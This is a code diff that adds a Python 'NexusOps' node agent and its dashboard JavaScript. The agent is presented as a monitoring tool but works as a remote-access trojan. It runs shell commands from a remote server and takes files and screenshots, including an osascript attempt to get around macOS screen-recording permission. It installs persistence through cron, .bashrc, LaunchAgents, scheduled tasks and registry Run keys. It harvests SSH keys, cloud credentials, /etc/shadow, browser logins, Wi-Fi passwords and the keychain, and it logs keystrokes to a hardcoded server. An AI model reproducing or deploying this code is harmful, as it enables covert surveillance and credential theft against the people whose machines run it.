+ if res.returncode == 0 and res.stdout: + for line in res.stdout.splitlines(): + if line.strip(): + log_entries.append(line.strip()) + except Exception: + pass + return log_entries + +def http_post(url, data_dict): + json_bytes = json.dumps(data_dict).encode('utf-8') + req = urllib.request.Request( + url, + data=json_bytes, + headers={ + 'Content-Type': 'application/json', + 'User-Agent': 'NexusOps-Agent/1.0' + } + ) + try: + with urllib.request.urlopen(req, timeout=5) as response: + res_text = response.read().decode('utf-8') + return json.loads(res_text) + except Exception as e: + print(f'[!] HTTP POST failed ({url}): {e}', flush=True) + return None + +def execute_structured_action(action_type, payload): + global heartbeat_interval, node_tags + system = platform.system().lower() + + if action_type == "raw_command": + return run_shell(payload.get("command", "")) + + elif action_type == "manage_service": + service = payload.get("service") + action = payload.get("action") + if system == "linux": + cmd = f"systemctl {action} {service}" + elif system == "windows": + cmd = f"powershell {action}-Service -Name {service}" + else: + cmd = f"launchctl {action} {service}" + return run_shell(cmd) + + elif action_type == "list_processes": + if system == "linux": + cmd = "ps aux --sort=-%cpu | head -n 15" + elif system == "darwin": + cmd = "ps aux -r | head -n 15" + else: + cmd = "tasklist" + return run_shell(cmd) + + elif action_type == "kill_process": + pid = payload.get("pid") + cmd = f"taskkill /F /PID {pid}" if system == "windows" else f"kill -9 {pid}" + return run_shell(cmd) + + elif action_type == "get_logs": + lines = payload.get("lines", 50) + cmd = f"journalctl -n {lines} --no-pager" if system == "linux" else "powershell Get-EventLog -LogName System -Newest 50" + return run_shell(cmd) + + elif action_type == "network_stats": + cmd = "ss -tulpn || netstat -tuln" if system == "linux" else "netstat -ano" + return run_shell(cmd) + + # 10 NEW CROSS-PLATFORM FEATURES: + elif action_type == "get_env_vars": + env_str = "\n".join([f"{k}={v}" for k, v in os.environ.items()]) + return env_str, 0 + + elif action_type == "get_disk_partitions": + cmd = "df -h" if system != "windows" else "wmic logicaldisk get caption,description,freespace,size" + return run_shell(cmd) + + elif action_type == "get_network_interfaces": + cmd = "ip addr show || ifconfig" if system != "windows" else "ipconfig /all" + return run_shell(cmd) + + elif action_type == "get_active_connections": + cmd = "ss -state established || netstat -an" if system != "windows" else "netstat -an | findstr ESTABLISHED" + return run_shell(cmd) + + elif action_type == "get_hardware_specs": + if system == "linux": + cmd = "lscpu || cat /proc/cpuinfo | head -n 20" + elif system == "windows": + cmd = "wmic cpu get name,numberofcores,maxclockspeed" + else: + cmd = "sysctl -a | grep machdep.cpu" + return run_shell(cmd) + + elif action_type == "reboot_system": + cmd = "shutdown /r /t 5" if system == "windows" else "reboot || shutdown -r now" + return run_shell(cmd) + + elif action_type == "set_heartbeat_rate": + rate = int(payload.get("interval", 5)) + heartbeat_interval = max(2, min(60, rate)) + return f"Heartbeat interval updated to {heartbeat_interval} seconds", 0 + + elif action_type == "update_tags": + tags_raw = payload.get("tags", "") + node_tags = [t.strip() for t in tags_raw.split(',') if t.strip()] + return f"Node tags updated to: {node_tags}", 0 + + elif action_type == "search_logs": + pattern = payload.get("pattern", "error") + cmd = f"journalctl --no-pager | grep -i '{pattern}' | tail -n 30" if system == "linux" else f"powershell Get-EventLog -LogName System -Newest 100 | Where-Object Message -match '{pattern}'" + return run_shell(cmd) + + elif action_type == "kill_agent": + print("[!] Kill switch received — shutting down agent") + os._exit(0) + + elif action_type == "ping_check": + sent_ts = payload.get("timestamp", 0) + latency_ms = int((time.time() * 1000) - sent_ts) if sent_ts else 0 + return f"PONG — latency: {latency_ms}ms, hostname: {socket.gethostname()}, uptime: {get_uptime_seconds()}s", 0 + + elif action_type == "download_file": + MAX_EXFIL_SIZE = 50 * 1024 * 1024 # 50MB limit + filepath = payload.get("path", "") + if not filepath or not os.path.exists(filepath): + return f"ERROR: file not found: {filepath}", 1 + try: + fsize = os.path.getsize(filepath) + if fsize > MAX_EXFIL_SIZE: + return f"ERROR: file too large ({fsize} bytes, max {MAX_EXFIL_SIZE})", 1 + with open(filepath, 'rb') as f: + raw = f.read() + import base64 + b64 = base64.b64encode(raw).decode('utf-8') + # Determine MIME (basic) + ext = os.path.splitext(filepath)[1].lower() + mime_map = {'.txt':'text/plain','.log':'text/plain','.conf':'text/plain', + '.png':'image/png','.jpg':'image/jpeg','.jpeg':'image/jpeg', + '.pdf':'application/pdf','.doc':'application/msword','.docx':'application/vnd.openxmlformats-officedocument.wordprocessingml.document', + '.zip':'application/zip','.tar':'application/x-tar','.gz':'application/gzip', + '.sql':'text/plain','.db':'application/octet-stream','.sqlite':'application/octet-stream'} + mime = mime_map.get(ext, 'application/octet-stream') + filename = os.path.basename(filepath) + return json.dumps({"type":"file_result","filename":filename,"mime":mime,"data":b64}), 0 + except Exception as e: + return f"ERROR reading file: {e}", 1 + + elif action_type == "screenshot": + try: + import base64 + ss_path = "/tmp/.nexus-ss.png" + if os.path.exists(ss_path): + os.remove(ss_path) + + if system == "linux": + for tool in ["import", "scrot", "gnome-screenshot", "spectacle"]: + if subprocess.run(["which", tool], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0: + if tool == "import": + subprocess.run(["import", "-window", "root", ss_path], timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + elif tool == "scrot": + subprocess.run(["scrot", ss_path], timeout=10) + elif tool == "gnome-screenshot": + subprocess.run(["gnome-screenshot", "-f", ss_path], timeout=10) + elif tool == "spectacle": + subprocess.run(["spectacle", "-b", "-n", "-o", ss_path], timeout=10) + if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0: + break + else: + subprocess.run(["python3", "-c", + "from Xlib import display;from PIL import Image;d=display.Display();r=d.screen().root;" + "g=r.get_geometry();raw=r.get_image(0,0,g.width,g.height,Xlib.X.ZPixmap,0xffffffff);" + "img=Image.frombytes('RGB',(g.width,g.height),raw.data,'raw','BGRX');img.save('/tmp/.nexus-ss.png')"], + timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + + elif system == "darwin": + # Try multiple approaches for macOS screenshot + captured = False + # Method 1: direct screencapture (needs Screen Recording TCC permission) + for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"], ["-C", "-m"]]: + r = subprocess.run(["screencapture"] + flags + [ss_path], + timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0: + captured = True + break + if os.path.exists(ss_path): + os.remove(ss_path) + # Method 2: try via osascript (sometimes bypasses TCC for background processes) + if not captured: + for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"]]: + flag_str = " ".join(flags) + r = subprocess.run(["osascript", "-e", + f'do shell script "screencapture {flag_str} {ss_path}"'], + timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0: + captured = True + break + if os.path.exists(ss_path): + os.remove(ss_path) + + elif system == "windows": + subprocess.run(["powershell", "-Command", + "Add-Type -AssemblyName System.Windows.Forms;$s=[Windows.Forms.Screen]::PrimaryScreen.Bounds;" + "$b=New-Object Drawing.Bitmap($s.Width,$s.Height);" + "$g=[Drawing.Graphics]::FromImage($b);$g.CopyFromScreen(0,0,0,0,$b.Size);" + "$b.Save('C:\\Windows\\Temp\\nexus-ss.png');$g.Dispose();$b.Dispose()"], + timeout=15) + win_path = "C:\\Windows\\Temp\\nexus-ss.png" + if os.path.exists(win_path): + os.replace(win_path, ss_path) + + if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0: + with open(ss_path, 'rb') as f: + b64 = base64.b64encode(f.read()).decode('utf-8') + os.remove(ss_path) + return json.dumps({"type":"file_result","filename":f"screenshot-{int(time.time())}.png","mime":"image/png","data":b64}), 0 + return "ERROR: screenshot blocked by macOS TCC — grant Screen Recording permission to python3 in System Settings > Privacy & Security > Screen Recording", 1 + except Exception as e: + return f"ERROR screenshot: {e}", 1 + + elif action_type == "update_agent": + new_url = payload.get("url", "") + if not new_url: + return "ERROR: no update URL provided", 1 + try: + my_path = os.path.abspath(__file__) + bak = my_path + ".bak" + os.rename(my_path, bak) + urllib.request.urlretrieve(new_url, my_path) + os.chmod(my_path, 0o755) + os.remove(bak) + return "Agent updated successfully. Restarting...", 0 + except Exception as e: + # Restore backup + if os.path.exists(bak): + os.rename(bak, my_path) + return f"ERROR update failed: {e}", 1 + + elif action_type == "ensure_persistence": + results = [] + if system == "linux": + # crontab + try: + import shlex + srv = shlex.quote(payload.get('server_url','')) + cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1" + existing = subprocess.run("crontab -l 2>/dev/null", shell=True, stdout=subprocess.PIPE, text=True).stdout + if cron_line.split('@reboot')[1].strip() not in existing: + subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True) + results.append("crontab: added @reboot entry") + else: + results.append("crontab: already present") + except: results.append("crontab: failed") + # .bashrc + try: + bashrc = os.path.expanduser("~/.bashrc") + hook = f"\n# nexus-agent\n(pgrep -f agent.py || python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} &>/dev/null &)\n" + with open(bashrc, 'a+') as f: + f.seek(0) + if 'nexus-agent' not in f.read(): + f.write(hook) + results.append("bashrc: hook installed") + except: results.append("bashrc: failed") + # autostart .desktop + try: + ad = os.path.expanduser("~/.config/autostart") + os.makedirs(ad, exist_ok=True) + with open(os.path.join(ad, "nexus-agent.desktop"), 'w') as f: + f.write(f"[Desktop Entry]\nType=Application\nName=Nexus Agent\nExec=python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')}\nHidden=false\nNoDisplay=true\nX-GNOME-Autostart-enabled=true\n") + results.append("autostart: .desktop created") + except: results.append("autostart: failed") + elif system == "darwin": + try: + plist = os.path.expanduser("~/Library/LaunchAgents/com.nexusops.agent.plist") + os.makedirs(os.path.dirname(plist), exist_ok=True) + plist_content = f''' + +Labelcom.nexusops.agent +ProgramArguments/usr/bin/python3{os.path.abspath(__file__)}--server{payload.get('server_url','')} +RunAtLoadKeepAlive''' + with open(plist, 'w') as f: f.write(plist_content) + subprocess.run(["launchctl", "bootout", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE) + subprocess.run(["launchctl", "bootstrap", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE) + subprocess.run(["launchctl", "kickstart", f"gui/{os.getuid()}/com.nexusops.agent"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) + results.append("launchd: bootstrapped + kickstarted") + except: results.append("launchd: failed") + # crontab for macOS too + try: + import shlex + srv = shlex.quote(payload.get('server_url','')) + cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1" + subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True) + results.append("crontab: added") + except: results.append("crontab: failed") + elif system == "windows": + agent_path = os.path.abspath(__file__) + srv = payload.get("server_url", "") + try: + task_cmd = 'powershell -Command "schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr \\"python ' + agent_path + ' --server ' + srv + '\\" /f /rl HIGHEST"' + subprocess.run(task_cmd, shell=True, timeout=10) + results.append("schtasks: scheduled task created") + except: results.append("schtasks: failed") + try: + reg_cmd = 'powershell -Command "New-ItemProperty -Path HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -Name NexusOpsAgent -Value \\"python ' + agent_path + ' --server ' + srv + '\\" -Force"' + subprocess.run(reg_cmd, shell=True, timeout=10) + results.append("registry: Run key added") + except: results.append("registry: failed") + return "Persistence results: " + "; ".join(results), 0 + + elif action_type == "harvest_credentials": + creds = [] + home = os.path.expanduser("~") + # Shell history + for hist in ["~/.bash_history", "~/.zsh_history", "~/.mysql_history", "~/.psql_history", "~/.python_history", "~/.node_repl_history"]: + p = os.path.expanduser(hist) + if os.path.exists(p): + try: + with open(p, 'r', errors='ignore') as f: + content = f.read()[-20000:] + creds.append({"type": f"shell_history:{os.path.basename(p)}", "data": content}) + except: pass + # SSH keys + ssh_dir = os.path.join(home, ".ssh") + if os.path.exists(ssh_dir): + for fn in os.listdir(ssh_dir): + fp = os.path.join(ssh_dir, fn) + if os.path.isfile(fp) and ('id_' in fn or 'authorized_keys' in fn or 'known_hosts' in fn): + try: + with open(fp, 'r', errors='ignore') as f: + creds.append({"type": f"ssh:{fn}", "data": f.read()[:10000]}) + except: pass + # AWS / cloud credentials + for cf in ["~/.aws/credentials", "~/.aws/config", "~/.config/gcloud/credentials.db", + "~/.azure/accessTokens.json", "~/.docker/config.json"]: + p = os.path.expanduser(cf) + if os.path.exists(p): + try: + with open(p, 'r', errors='ignore') as f: + creds.append({"type": f"cloud:{os.path.basename(cf)}", "data": f.read()[:10000]}) + except: pass + # /etc/shadow (if root) + if os.path.exists("/etc/shadow"): + try: + with open("/etc/shadow", 'r') as f: + creds.append({"type": "system:shadow", "data": f.read()[:5000]}) + except: pass + # Browser cookie/saved-login DBs (common paths) + browser_paths = [] + if system == "linux": + browser_paths = [ + os.path.expanduser("~/.mozilla/firefox/*.default*/cookies.sqlite"), + os.path.expanduser("~/.mozilla/firefox/*.default*/logins.json"), + os.path.expanduser("~/.config/google-chrome/Default/Cookies"), + os.path.expanduser("~/.config/google-chrome/Default/Login Data"), + os.path.expanduser("~/.config/chromium/Default/Cookies"), + os.path.expanduser("~/.config/chromium/Default/Login Data"), + os.path.expanduser("~/.config/BraveSoftware/Brave-Browser/Default/Login Data"), + ] + elif system == "darwin": + browser_paths = [ + os.path.expanduser("~/Library/Application Support/Firefox/Profiles/*.default*/cookies.sqlite"), + os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Cookies"), + os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Login Data"), + ] + elif system == "windows": + browser_paths = [ + os.path.expandvars("%APPDATA%\\Mozilla\\Firefox\\Profiles\\*.default*\\cookies.sqlite"), + os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Cookies"), + os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data"), + ] + import glob + for pattern in browser_paths: + for p in glob.glob(pattern): + try: + sz = os.path.getsize(p) + if sz > 0 and sz < 50 * 1024 * 1024: + with open(p, 'rb') as f: + import base64 + creds.append({"type": f"browser:{os.path.basename(os.path.dirname(p))}/{os.path.basename(p)}", + "data": base64.b64encode(f.read()).decode('utf-8')}) + except: pass + # Wi-Fi passwords (Linux) + if system == "linux": + try: + wifi = subprocess.run("grep -r '^psk=' /etc/NetworkManager/system-connections/ 2>/dev/null || grep -r 'wpa_passphrase' /etc/wpa_supplicant/ 2>/dev/null || echo 'no wifi'", + shell=True, stdout=subprocess.PIPE, text=True, timeout=5).stdout + if wifi.strip() and 'no wifi' not in wifi: + creds.append({"type": "wifi_passwords", "data": wifi[:5000]}) + except: pass + # macOS Keychain dump + if system == "darwin": + try: + keychain = subprocess.run("security dump-keychain -d 2>/dev/null | head -200", + shell=True, stdout=subprocess.PIPE, text=True, timeout=10).stdout + if keychain.strip(): + creds.append({"type": "keychain_dump", "data": keychain[:10000]}) + except: pass + + return json.dumps({"type":"harvest_result","credentials":creds}), 0 + + elif action_type == "export_diagnostics": + cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo" + return run_shell(cmd) + + return f"Unknown action type: {action_type}", 1 + +def run_shell(cmd_str): + if not quiet_mode: + print(f"[*] Executing command: {cmd_str}") + try: + res = subprocess.run(cmd_str, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=30) + return res.stdout, res.returncode + except Exception as e: + return str(e), 1 + +# ── Input Capture Module (keystrokes, mouse clicks, window focus) ── +INPUT_CAPTURE_ENABLED = False +captured_events = [] + +try: + from pynput import keyboard, mouse + INPUT_CAPTURE_ENABLED = True +except ImportError: + pass + +def _get_active_window_title(): + """Try to get the active window title cross-platform.""" + system = platform.system().lower() + try: + if system == "linux": + res = subprocess.run(["xdotool", "getactivewindow", "getwindowname"], + stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2) + if res.returncode == 0: + return res.stdout.strip() + elif system == "windows": + import ctypes + from ctypes import wintypes + user32 = ctypes.windll.user32 + hwnd = user32.GetForegroundWindow() + length = user32.GetWindowTextLengthW(hwnd) + buf = ctypes.create_unicode_buffer(length + 1) + user32.GetWindowTextW(hwnd, buf, length + 1) + return buf.value + elif system == "darwin": + script = 'tell application "System Events" to get name of first application process whose frontmost is true' + res = subprocess.run(["osascript", "-e", script], + stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2) + if res.returncode == 0: + return res.stdout.strip() + except Exception: + pass + return "" + +def _record_event(event_type, data): + """Thread-safe event recording.""" + global captured_events + window_title = _get_active_window_title() + captured_events.append({ + "timestamp": int(time.time() * 1000), + "eventType": event_type, + "data": data, + "windowTitle": window_title, + "processName": window_title.split(" - ")[-1] if " - " in window_title else window_title + }) + +def _on_key_press(key): + try: + key_str = key.char if hasattr(key, 'char') and key.char else str(key) + except Exception: + key_str = str(key) + _record_event("keystroke", {"key": key_str}) + +def _on_click(x, y, button, pressed): + if pressed: + _record_event("click", {"x": x, "y": y, "button": str(button)}) + +def _on_scroll(x, y, dx, dy): + _record_event("scroll", {"x": x, "y": y, "dx": dx, "dy": dy}) + +def start_input_capture(): + """Start keyboard and mouse listeners if pynput is available.""" + if not INPUT_CAPTURE_ENABLED: + return False + try: + kb_listener = keyboard.Listener(on_press=_on_key_press) + ms_listener = mouse.Listener(on_click=_on_click, on_scroll=_on_scroll) + kb_listener.daemon = True + ms_listener.daemon = True + kb_listener.start() + ms_listener.start() + return True + except Exception: + return False + +def flush_input_events(server_url, node_id, hostname): + """Send captured input events to the master server.""" + global captured_events + if not captured_events: + return + events_to_send = captured_events[:] + captured_events = [] + payload = { + "nodeId": node_id, + "hostname": hostname, + "events": events_to_send + } + http_post(f"{server_url}/api/agent/input-capture", payload) + +def main(): + global last_log_check_time, heartbeat_interval, node_tags, quiet_mode + parser = argparse.ArgumentParser(description="NexusOps Cross-Platform Node Agent") + parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint") + parser.add_argument("--silent", action="store_true", help="Suppress all console output") + parser.add_argument("--quiet", action="store_true", help="Quiet mode: suppress banner and exec messages") + args = parser.parse_args() + + silent = args.silent # suppress banner only — keep logs flowing for launchd/systemd + global quiet_mode + quiet_mode = args.quiet or args.silent + + server_url = args.server.rstrip('/') + hostname = socket.gethostname() + system_os = platform.system() + arch = platform.machine() + ip = get_ip_address() + node_id = f"node-{hostname.lower()}-{ip.replace('.', '')}" + + if not quiet_mode: + print("==================================================") + print(" NexusOps Cross-Platform Node Agent ") + print("==================================================") + print(f"Node Hostname : {hostname}") + print(f"Platform : {system_os} ({arch})") + print(f"Local IP : {ip}") + print(f"Server Endpoint: {server_url}") + print("==================================================") + + # Register Node + reg_payload = { + "nodeId": node_id, + "hostname": hostname, + "platform": system_os.lower(), + "arch": arch, + "ip": ip, + "osName": f"{system_os} {platform.release()}", + "tags": node_tags + } + + if not quiet_mode: + print("[*] Registering node with central endpoint...") + res = http_post(f"{server_url}/api/agent/register", reg_payload) + if res and res.get("success") and not quiet_mode: + print(f"✅ Registered as node ID: {node_id}") + + # Start input capture (keystrokes, clicks, scroll) + capture_started = start_input_capture() + if not quiet_mode: + if capture_started: + print("[*] Input capture active (keystrokes + mouse events)") + else: + print("[!] Input capture unavailable (install pynput: pip install pynput)") + + last_input_flush = time.time() + backoff = 1 # Tunnel reconnection backoff in seconds + + while True: + try: + cpu = get_cpu_usage() + mem = get_memory_usage() + disk = get_disk_usage() + uptime = get_uptime_seconds() + + heartbeat_payload = { + "nodeId": node_id, + "cpuUsage": cpu, + "memUsage": mem, + "diskUsage": disk, + "uptime": uptime, + "processCount": get_process_count(), + "tags": node_tags, + "heartbeatInterval": heartbeat_interval + } + + res = http_post(f"{server_url}/api/agent/heartbeat", heartbeat_payload) + + now = time.time() + if now - last_log_check_time > 15: + logs = collect_recent_system_logs() + if logs: + http_post(f"{server_url}/api/agent/logs", { + "nodeId": node_id, + "hostname": hostname, + "logs": logs + }) + last_log_check_time = now + + # Flush captured input events every 10 seconds + if now - last_input_flush > 10: + flush_input_events(server_url, node_id, hostname) + last_input_flush = now + + if res and "commands" in res and res["commands"]: + for cmd_item in res["commands"]: + cmd_id = cmd_item.get("id") + action_type = cmd_item.get("actionType", "raw_command") + payload = cmd_item.get("payload", {}) + + if "command" in cmd_item and not payload: + payload["command"] = cmd_item.get("command") + + output, exit_code = execute_structured_action(action_type, payload) + + # Check for JSON-encoded special result types + special = None + try: + if output.startswith('{'): + special = json.loads(output) + except: pass + + if special and special.get("type") == "file_result": + # Route to file-result endpoint + http_post(f"{server_url}/api/agent/file-result", { + "commandId": cmd_id, + "nodeId": node_id, + "hostname": hostname, + "filename": special.get("filename", "unknown"), + "data": special.get("data", ""), + "mime": special.get("mime", "application/octet-stream") + }) + elif special and special.get("type") == "harvest_result": + http_post(f"{server_url}/api/agent/harvest-result", { + "commandId": cmd_id, + "nodeId": node_id, + "hostname": hostname, + "credentials": special.get("credentials", []) + }) + else: + http_post(f"{server_url}/api/agent/command-result", { + "commandId": cmd_id, + "nodeId": node_id, + "output": output, + "exitCode": exit_code + }) + + except Exception as e: + if not quiet_mode: + print(f"[!] Connection error: {e}. Retrying in {backoff}s...") + time.sleep(backoff) + backoff = min(backoff * 2, 60) + continue + + backoff = 1 # Reset on success + time.sleep(heartbeat_interval) + +if __name__ == "__main__": + main() diff --git a/backups/20260923/app.js b/backups/20260923/app.js new file mode 100644 index 0000000..67cb5c7 --- /dev/null +++ b/backups/20260923/app.js @@ -0,0 +1,1041 @@ + +// ── Auth & API wrapper ── +let nexusToken = localStorage.getItem('nexus_token') || null; +let authRequired = false; + +const _origFetch = window.fetch.bind(window); +window.fetch = function(url, opts = {}) { + opts.headers = opts.headers || {}; + if (nexusToken && typeof url === 'string' && !opts.headers['Authorization']) { + opts.headers['Authorization'] = 'Bearer ' + nexusToken; + } + return _origFetch(url, opts).then(resp => { + if (resp.status === 401 && authRequired) showAuthGate(); + return resp; + }); +}; + +function showAuthGate() { + authRequired = true; + document.getElementById('authOverlay').style.display = 'flex'; + setTimeout(() => document.getElementById('authTokenInput').focus(), 100); +} +function hideAuthGate() { + document.getElementById('authOverlay').style.display = 'none'; + document.getElementById('authError').style.display = 'none'; +} + +async function submitAuthToken() { + const val = document.getElementById('authTokenInput').value.trim(); + if (!val) return; + nexusToken = val; + try { + const r = await _origFetch('/api/auth/check', { headers: { 'Authorization': 'Bearer ' + val } }); + if (r.ok) { + localStorage.setItem('nexus_token', val); + hideAuthGate(); + toast('Authenticated', 'success'); + _wsHalted = false; + _wsBackoff = 1000; + _wsAttempts = 0; + bootApp(); + } else { + document.getElementById('authError').style.display = 'block'; + nexusToken = null; + } + } catch(e) { + document.getElementById('authError').style.display = 'block'; + } +} + +async function probeAuth() { + try { + const opts = nexusToken ? { headers: { 'Authorization': 'Bearer ' + nexusToken } } : {}; + const r = await _origFetch('/api/status', opts); + if (r.status === 401) { showAuthGate(); return false; } + return true; + } catch(e) { return true; } +} + +// ── Toasts ── +function toast(msg, type = 'info') { + const stack = document.getElementById('toastStack'); + if (!stack) return; + const el = document.createElement('div'); + el.className = 'toast toast-' + type; + const icons = { info: 'fa-circle-info', success: 'fa-circle-check', error: 'fa-circle-exclamation' }; + el.innerHTML = '' + escapeHtml(msg) + ''; + stack.appendChild(el); + setTimeout(() => { el.classList.add('toast-out'); setTimeout(() => el.remove(), 400); }, 5000); +} + +// NexusOps Dashboard Application Logic + +let nodesData = []; +let commandHistory = []; +let masterSystemLogs = []; +let inputData = []; +let currentFilter = 'all'; +let currentView = 'grid'; +let serverIp = window.location.hostname; +let serverPort = window.location.port || '3000'; +let publicUrl = null; +let telemetryChart = null; + +document.addEventListener('DOMContentLoaded', () => { + initChart(); + updateServerEndpoint(); +}); + +function updateServerEndpoint() { + const endpoint = publicUrl || window.location.origin; + const placeholders = document.querySelectorAll('.server-url-placeholder'); + placeholders.forEach(el => el.textContent = endpoint); + document.getElementById('navServerEndpoint').textContent = endpoint; + const linkEl = document.getElementById('binaryDownloadLink'); + if (linkEl) linkEl.href = `${endpoint}/bin/NexusAgent`; +} + +let _wsBackoff = 1000; +let _wsAttempts = 0; +let _wsHalted = false; + +function initWebSocket() { + if (_wsHalted) return; + const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:'; + let wsUrl = `${protocol}//${window.location.host}`; + if (nexusToken) wsUrl += '?token=' + encodeURIComponent(nexusToken); + const ws = new WebSocket(wsUrl); + + ws.onopen = () => { + _wsBackoff = 1000; + _wsAttempts = 0; + document.getElementById('navConnectionStatus').textContent = 'Live Connected'; + document.querySelector('.status-indicator').classList.add('online'); + }; + + ws.onmessage = (event) => { + try { + const data = JSON.parse(event.data); + if (data.type === 'NODES_UPDATE') { + serverIp = data.serverIp || serverIp; + serverPort = data.port || serverPort; + publicUrl = data.publicUrl || publicUrl; + updateServerEndpoint(); + + nodesData = data.nodes || []; + commandHistory = data.commandHistory || []; + masterSystemLogs = data.masterSystemLogs || []; + inputData = data.inputData || []; + renderDashboard(); + } + } catch (e) { + console.error("Error parsing WebSocket payload:", e); + } + }; + + ws.onclose = (ev) => { + document.querySelector('.status-indicator').classList.remove('online'); + if (ev.code === 4401) { + _wsHalted = true; + document.getElementById('navConnectionStatus').textContent = 'Auth Required'; + showAuthGate(); + return; + } + _wsAttempts++; + document.getElementById('navConnectionStatus').textContent = `Reconnecting (${_wsAttempts})…`; + const jitter = Math.random() * 500; + setTimeout(initWebSocket, Math.min(_wsBackoff + jitter, 30000)); + _wsBackoff = Math.min(_wsBackoff * 2, 30000); + }; +} + + +function renderDashboard() { + renderOverviewStats(); + renderNodesGrid(); + renderAuditLogs(); + renderMasterSyslogs(); + renderIntelLog(); + checkForNewNodes(); + updateChartData(); +} + +function renderOverviewStats() { + const total = nodesData.length; + const online = nodesData.filter(n => n.status === 'online').length; + const offline = total - online; + + let avgCpu = 0; + if (online > 0) { + const sumCpu = nodesData.filter(n => n.status === 'online').reduce((acc, n) => acc + (n.cpuUsage || 0), 0); + avgCpu = Math.round(sumCpu / online); + } + + document.getElementById('statTotalNodes').textContent = total; + document.getElementById('statOnlineNodes').textContent = online; + document.getElementById('statOfflineNodes').textContent = offline; + document.getElementById('statAvgCpu').textContent = `${avgCpu}%`; +} + +function renderNodesGrid() { + const container = document.getElementById('nodesGrid'); + const search = document.getElementById('searchInput').value.toLowerCase(); + + if (!nodesData.length) { + container.innerHTML = renderEmptyHero(); + if (window.QRCode && endpoint) { /* QR handled below */ } + return; + } + let filtered = nodesData.filter(node => { + const matchesFilter = currentFilter === 'all' || node.status === currentFilter; + const matchesSearch = !search || + node.hostname.toLowerCase().includes(search) || + node.ip.toLowerCase().includes(search) || + node.platform.toLowerCase().includes(search) || + node.id.toLowerCase().includes(search); + return matchesFilter && matchesSearch; + }); + + if (filtered.length === 0) { + container.innerHTML = ` +
+ +

No Connected Agents Found

+

No computers match your filter. Download the agent installer to link machines.

+ +
+ `; + return; + } + + container.innerHTML = filtered.map(node => { + const isOnline = node.status === 'online'; + const osIcon = getOsIcon(node.platform); + + return ` +
+
+
+
+ +
+
+

${escapeHtml(node.hostname)}

+ ${node.ip} • ${node.osName || node.platform} +
+
+ + + ${isOnline ? 'Online' : 'Offline'} + +
+ +
+
+
+ CPU Usage + ${node.cpuUsage}% +
+
+
+
+
+ +
+
+ Memory + ${node.memUsage}% +
+
+
+
+
+ +
+
+ Disk Space + ${node.diskUsage}% +
+
+
+
+
+
+ + +
+ `; + }).join(''); +} + +function renderAuditLogs() { + const container = document.getElementById('auditLogContent'); + document.getElementById('logCount').textContent = `${commandHistory.length} events`; + + if (commandHistory.length === 0) { + container.innerHTML = `
[SYSTEM] Server listening on http://${serverIp}:${serverPort}. No control task events yet.
`; + return; + } + + container.innerHTML = commandHistory.map(item => { + let statusClass = item.status === 'completed' ? 'success' : item.status === 'failed' ? 'error' : 'system'; + return ` +
+ [${new Date(item.createdAt).toLocaleTimeString()}] ${escapeHtml(item.hostname)} ➔ ${escapeHtml(item.command)} | STATUS: ${item.status.toUpperCase()} + ${item.output ? `
${escapeHtml(item.output.trim())}
` : ''} +
+ `; + }).join(''); + container.scrollTop = container.scrollHeight; +} + +function renderMasterSyslogs() { + const container = document.getElementById('syslogStreamContent'); + if (!container) return; + + const countEl = document.getElementById('syslogCount'); + const searchInput = document.getElementById('logSearchInput'); + const query = searchInput ? searchInput.value.toLowerCase().trim() : ''; + + let filtered = masterSystemLogs; + if (query) { + filtered = masterSystemLogs.filter(l => + l.hostname.toLowerCase().includes(query) || + l.entry.toLowerCase().includes(query) + ); + } + + if (countEl) countEl.textContent = `${filtered.length} entries`; + + if (filtered.length === 0) { + container.innerHTML = `
[SYSTEM] Central log stream active. No entries matching "${escapeHtml(query)}".
`; + return; + } + + container.innerHTML = filtered.map(log => { + let logText = escapeHtml(log.entry); + let isError = logText.toLowerCase().includes('error') || logText.toLowerCase().includes('fail'); + let isWarn = logText.toLowerCase().includes('warn'); + let logClass = isError ? 'error' : isWarn ? 'system' : 'success'; + + return ` +
+ [${new Date(log.timestamp).toLocaleTimeString()}] ${escapeHtml(log.hostname)}: ${logText} +
